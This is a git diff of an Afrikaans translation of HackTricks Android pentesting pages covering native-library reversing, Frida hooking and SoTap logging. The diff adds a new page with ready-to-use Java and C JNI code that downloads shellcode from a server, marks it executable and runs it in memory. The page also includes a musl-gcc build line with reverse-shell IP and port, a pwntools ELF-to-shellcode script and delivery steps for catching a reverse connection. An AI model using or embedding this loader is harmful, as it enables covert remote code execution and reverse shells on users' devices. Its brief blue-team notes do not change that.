[_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android. ### Manual -[Lees hierdie handleiding om 'n paar truuks te leer oor **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Lees hierdie handleiding om 'n paar wenke te leer oor hoe om custom obfuscation te reverse](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate wat 'n versameling van die nuutste framework, tutorials en labs van verskillende security geeks en navorsers bevat vir reverse engineering en malware analysis. +AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate wat 'n versameling van die nuutste framework, tutorials en labs van verskillende security geeks en navorsers vir reverse engineering en malware analysis insluit. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n uitstekende lys van hulpbronne -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n uitstekende lys van resources +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android vinnige kursus - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..5ab3f8aa6 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Android In-Memory Native Code-uitvoering via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie bladsy dokumenteer 'n praktiese patroon om native payloads volledig in geheue uit te voer vanaf 'n onbetroubare Android-app-proses met behulp van JNI. Die vloei vermy om enige on-disk native binary te skep: laai rou shellcode-bytes oor HTTP(S) af, stuur dit na 'n JNI-brug, allokeer RX-geheue, en spring daarnaartoe. + +Why it matters +- Verminder forensic artifacts (geen ELF op disk nie) +- Kompatibel met "stage-2" native payloads gegenereer vanaf 'n ELF exploit binary +- Stem ooreen met tradecraft wat deur moderne malware en red teams gebruik word + +High-level pattern +1) Fetch shellcode bytes in Java/Kotlin +2) Call a native method (JNI) with the byte array +3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint + +Minimal example + +Java/Kotlin side +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +C JNI-kant (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +Aantekeninge en kanttekeninge +- W^X/execmem: Moderne Android dwing W^X af; anonymous PROT_EXEC mappings is steeds oor die algemeen toegelaat vir app-prosesse met JIT (onderhewig aan SELinux-beleid). Sommige toestelle/ROMs beperk dit; val terug op JIT-allocated exec pools of native bridges wanneer nodig. +- Argitekture: Verseker dat die shellcode-argitektuur met die toestel ooreenstem (arm64-v8a algemeen; x86 slegs op emulators). +- Entrypunt-kontrak: Bepaal 'n konvensie vir jou shellcode-entry (geen args vs struktuurpointer). Hou dit posisie-onafhanklik (PIC). +- Stabiliteit: Maak die instruksie-cache skoon voordat jy spring; ongelyke cache kan op ARM laat crash. + +Packaging ELF → position‑independent shellcode +'n Robuuste operator-pyplyn is om: +- Bou jou exploit as 'n statiese ELF met musl-gcc +- Skakel die ELF om na 'n self‑loading shellcode blob met behulp van pwntools’ shellcraft.loader_append + +Bou +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +Skakel ELF na raw shellcode (amd64 voorbeeld) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +Waarom loader_append works: dit emiteer 'n klein loader wat die ingebedde ELF programsegmente in geheue map en beheer oordra na sy entrypoint, wat jou 'n enkele raw blob gee wat memcpy’ed kan word en deur die app uitgevoer kan word. + +Delivery +- Host sc on an HTTP(S) server you control +- The backdoored/test app downloads sc and invokes the JNI bridge shown above +- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes + +Validation workflow for kernel payloads +- Use a symbolized vmlinux for fast reversing/offset recovery +- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ) + +Hardening/Detection (blue team) +- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy) +- Enforce strict code integrity (no dynamic native loading from network) and validate update channels +- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 2fc931be1..e875ac898 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,18 +1,18 @@ -# Omkeerontleding van native biblioteke +# Omgekeerde ingenieurswese van inheemse biblioteke {{#include ../../banners/hacktricks-training.md}} -**Vir meer inligting kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) +**Vir verdere inligting, kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android-apps kan native biblioteke gebruik, tipies geskryf in C of C++, vir prestasie-kritiese take. Malware-makers misbruik hierdie biblioteke ook, omdat ELF shared objects steeds moeiliker te dekompileer is as DEX/OAT byte-code. -Hierdie bladsy fokus op *praktiese* werkvloeie en *onlangse* hulpmiddelverbeterings (2023-2025) wat die omkeerontleding van Android `.so`-lêers vergemaklik. +Android-apps kan inheemse biblioteke gebruik, gewoonlik geskryf in C of C++, vir prestasie-kritiese take. Malware-skepper misbruik ook hierdie biblioteke omdat ELF shared objects steeds moeiliker is om te dekompileer as DEX/OAT byte-code. +Hierdie blad fokus op *praktykgebaseerde* werkvloei en *onlangse* gereedskapverbeterings (2023-2025) wat die reversing van Android `.so`-lêers makliker maak. --- ### Vinnige triage-werkvloei vir 'n pas onttrekte `libfoo.so` -1. **Ekstraheer die biblioteek** +1. **Onttrek die biblioteek** ```bash # From an installed application adb shell "run-as cat lib/arm64-v8a/libfoo.so" > libfoo.so @@ -25,26 +25,26 @@ file libfoo.so # arm64 or arm32 / x86 readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc. checksec --file libfoo.so # (peda/pwntools) ``` -3. **Lys geëksporteerde simbole & JNI-bindinge** +3. **Lys uitgevoerde simbole & JNI-koppellings** ```bash readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` -4. **Laai in 'n dekompileerder** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis. -Nuweer Ghidra-weergawes het 'n AArch64-dekompileerder bekendgestel wat PAC/BTI-stubs en MTE-tags herken, wat die ontleding van biblioteke wat met die Android 14 NDK gebou is, aansienlik verbeter. -5. **Besluit oor statiese vs dinamiese omkeerontleding:** gestrippte, obfuskede kode benodig dikwels *instrumentasie* (Frida, ptrace/gdbserver, LLDB). +4. **Laai in 'n dekompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) en voer outo-analise uit. +Nuweer Ghidra-weergawes het 'n AArch64-dekompiler ingestel wat PAC/BTI-stubs en MTE-tags herken, wat die analise van biblioteke gebou met die Android 14 NDK baie verbeter. +5. **Besluit staties vs dinamies reverse:** gestrippe, obfuskeer kode benodig dikwels *instrumentation* (Frida, ptrace/gdbserver, LLDB). --- -### Dinamiese instrumentasie (Frida ≥ 16) +### Dynamiese Instrumentasie (Frida ≥ 16) -Frida se 16-reeks het verskeie Android-spesifieke verbeterings gebring wat help wanneer die teiken moderne Clang/LLD-optimalisasies gebruik: +Frida’s 16-reeks het verskeie Android-spesifieke verbeterings gebring wat help wanneer die teiken moderne Clang/LLD optimisasies gebruik: -* `thumb-relocator` kan nou *hook tiny ARM/Thumb functions* wat deur LLD se aggressiewe uitlynings (`--icf=all`) gegenereer word. -* Die enumerering en herbinding van *ELF import slots* werk op Android, en maak per-module `dlopen()`/`dlsym()`-patching moontlik wanneer inline hooks verwerp word. +* `thumb-relocator` kan nou *hook klein ARM/Thumb-funksies* wat deur LLD se aggressiewe uitlyning gegenereer is (`--icf=all`). +* Enumerering en herbinding van *ELF import slots* werk op Android, wat per-module `dlopen()`/`dlsym()` patching moontlik maak wanneer inline hooks verwerp word. * Java hooking is reggestel vir die nuwe **ART quick-entrypoint** wat gebruik word wanneer apps saamgestel is met `--enable-optimizations` op Android 14. -Voorbeeld: enumereer alle funksies wat geregistreer is via `RegisterNatives` en dump hul adresse tydens runtime: +Voorbeeld: enumerering van alle funksies geregistreer deur `RegisterNatives` en die uitgooi van hul adresse by runtime: ```javascript Java.perform(function () { var Runtime = Java.use('java.lang.Runtime'); @@ -61,27 +61,27 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida sal reguit uit die boks werk op PAC/BTI-enabled toestelle (Pixel 8/Android 14+) solank jy frida-server 16.2 of later gebruik – vroeër weergawes het misluk om padding vir inline hooks te vind. +Frida sal sonder ekstra konfigurasie werk op PAC/BTI-enabled toestelle (Pixel 8/Android 14+) solank jy frida-server 16.2 of later gebruik – vroeër weergawes het nie padding vir inline hooks kon lokaliseer nie. ### Process-local JNI telemetry via preloaded .so (SoTap) -Wanneer vol-funksionele instrumentation oorkill of geblokkeer is, kan jy steeds native-vlak sigbaarheid kry deur 'n klein logger binne die teikenproses voor te laai. SoTap is 'n liggewig Android native (.so) library wat die runtime-gedrag van ander JNI (.so) libraries binne dieselfde app-proses log (no root required). +Wanneer vol-funksionele instrumentation oordrewe of geblokkeer is, kan jy steeds native-vlak sigbaarheid kry deur 'n klein logger vooraf in die teikenproses te laai. SoTap is 'n liggewig Android native (.so) biblioteek wat die runtime-gedrag van ander JNI (.so) biblioteke binne dieselfde app-proses log (geen root benodig). Belangrike eienskappe: - Initialiseer vroeg en monitor JNI/native-interaksies binne die proses wat dit laai. -- Behou logs deur verskeie skryfbare paaie te gebruik met 'n elegante terugval na Logcat wanneer stoorplek beperk is. -- Bron-aanpasbaar: redigeer sotap.c om te uitbrei/aan te pas wat aangeteken word en bou weer per ABI. +- Stoor logs deur verskeie skryfbare paaie te gebruik, met 'n elegante terugval na Logcat wanneer stoorruimte beperk is. +- Bron-aanpasbaar: wysig sotap.c om uit te brei/aan te pas wat aangeteken word en herbou per ABI. Opstelling (herpak die APK): -1) Plaas die korrekte ABI-bou in die APK sodat die loader libsotap.so kan oplos: +1) Plaas die toepaslike ABI build in die APK sodat die laaier libsotap.so kan oplos: - lib/arm64-v8a/libsotap.so (for arm64) - lib/armeabi-v7a/libsotap.so (for arm32) -2) Verseker SoTap laai voordat ander JNI libs. Injiseer 'n oproep vroeg (bv. Application subclass static initializer of onCreate) sodat die logger eers geïnitialiseer word. Smali snippet example: +2) Verseker dat SoTap laai voordat ander JNI libs laai. Injekteer 'n oproep vroeg (bv. Application subclass static initializer of onCreate) sodat die logger eerstens geïnitialiseer word. Smali snippet example: ```smali const-string v0, "sotap" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V ``` -3) Rebuild/sign/install, run the app, then collect logs. +3) Herbou/handteken/installeer, maak die app oop, en versamel dan logs. Log paths (checked in order): ``` @@ -91,46 +91,57 @@ Log paths (checked in order): /sdcard/Download/sotap-%s.log # If all fail: fallback to Logcat only ``` -Aantekeninge en foutopsporing: -- ABI-belyning is verpligtend. 'n Ongelykheid sal UnsatisfiedLinkError veroorsaak en die logger sal nie laai nie. -- Stoorbeperkings is algemeen op moderne Android; as lêerskryf misluk, sal SoTap steeds via Logcat uitstuur. -- Gedrag/verbositeit is bedoel om aangepas te word; herbou vanaf bron nadat jy sotap.c gewysig het. +Notes en probleemoplossing: +- ABI-belyning is verpligtend. 'n Ongelykheid (mismatch) sal 'n UnsatisfiedLinkError veroorsaak en die logger sal nie laai nie. +- Bergingbeperkings is algemeen op moderne Android; as lêerskryf misluk, sal SoTap steeds via Logcat uitset lewer. +- Gedrag/uitvoerigheid is bedoel om aangepas te word; herbou vanaf die bron nadat jy sotap.c gewysig het. -Hierdie benadering is handig vir malware-triage en JNI-debogering waar dit kritiek is om native-aanroepvloei vanaf prosesbegin waar te neem, maar root-/stelselwye hooks nie beskikbaar is nie. +Hierdie benadering is nuttig vir malware-triage en JNI-debugging waar dit kritiek is om native oproepvloei vanaf die prosesbegin te observeer, maar root/sisteemwye hooks nie beskikbaar is nie. + +--- + +### Sien ook: in‑memory native code execution via JNI + +'n Algemene aanvalspatroon is om 'n rou shellcode-blob tydens runtime af te laai en dit direk uit geheue deur 'n JNI-brug uit te voer (geen on‑disk ELF). Details en gereed-vir-gebruik JNI-snippet hier: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} --- ### Onlangse kwesbaarhede wat die moeite werd is om in APKs te soek -| Year | CVE | Affected library | Notes | -|------|-----|------------------|-------| -|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow bereikbaar vanaf native-kode wat WebP-beelde dekodeer. Verskeie Android-apps bevat kwesbare weergawes. Wanneer jy 'n `libwebp.so` in 'n APK sien, kontroleer sy weergawe en probeer eksploiteer of patcheer.| | -|2024|Multiple|OpenSSL 3.x series|Verskeie geheue-veiligheids- en padding-orakelprobleme. Baie Flutter- & ReactNative-bundels sluit hul eie `libcrypto.so` in.| +| Jaar | CVE | Geaffekteerde biblioteek | Notas | +|------|-----|--------------------------|-------| +|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow bereikbaar vanaf native kode wat WebP-beelde dekodeer. Verskeie Android-apps pak kwesbare weergawes in. Wanneer jy 'n `libwebp.so` binne 'n APK sien, kontroleer die weergawe en probeer eksploitasie of pleistering.| | +|2024|Multiple|OpenSSL 3.x series|Verskeie geheue-veiligheid- en padding-oracle-kwessies. Baie Flutter- & ReactNative-bundels lewer hul eie `libcrypto.so`.| -Wanneer jy *derdepartye* `.so`-lêers in 'n APK raaksien, kruischeck altyd hul hash teen upstream advisories. SCA (Software Composition Analysis) is skaars op mobiele platforms, dus is verouderde kwesbare bouwe algemeen. +Wanneer jy *third-party* `.so`-lêers binne 'n APK raak, kruisverifieer altyd hul hash teen upstream advisories. SCA (Software Composition Analysis) is ongereeld op mobiele toestelle, dus is verouderde kwesbare builds volop. --- -### Anti-Reversing & Hardening trends (Android 13-15) +### Anti-Reversing & Hardening-neigings (Android 13–15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiveer PAC/BTI in stelselbiblioteke op ondersteunde ARMv8.3+ silicon. Decompilers vertoon nou PAC‐verwante pseudo-instruksies; vir dinamiese analise spuit Frida trampolines in ná die verwydering van PAC, maar jou pasgemaakte trampolines moet `pacda`/`autibsp` aanroep waar nodig. -* **MTE & Scudo hardened allocator:** memory-tagging is opsioneel maar baie Play-Integrity-bewuste apps bou met `-fsanitize=memtag`; gebruik `setprop arm64.memtag.dump 1` plus `adb shell am start ...` om tag-foute vas te vang. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** kommersiële packers (bv. Bangcle, SecNeo) beskerm toenemend *native* kode, nie net Java nie; verwag valse control-flow en enkripsie string-blobs in `.rodata`. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiveer PAC/BTI in stelselbiblioteke op ondersteunde ARMv8.3+ silikon. Decompilers vertoon nou PAC-verwante pseudo-instruksies; vir dinamiese analise injekteer Frida trampoliene ná die verwydering van PAC, maar jou eie trampoliene behoort `pacda`/`autibsp` aan te roep waar nodig. +* **MTE & Scudo hardened allocator:** Memory-tagging is opsioneel maar baie Play-Integrity-bewuste apps bou met `-fsanitize=memtag`; gebruik `setprop arm64.memtag.dump 1` plus `adb shell am start ...` om tag-foute vas te vang. +* **LLVM Obfuscator (opaque predicates, control-flow flattening):** Kommersiële packers (bv. Bangcle, SecNeo) beskerm toenemend *native* kode, nie net Java nie; verwag vals control-flow en enkripteerde string-blobs in `.rodata`. --- -### Resources +### Hulpbronne - **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) - **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) - **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### References +### Verwysings - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) -- NVD-advies vir `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) -- SoTap: Lightweight in-app JNI (.so) gedragslogger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) -- SoTap-vrystellings – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) -- Hoe om met SoTap te werk? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) +- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) +- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}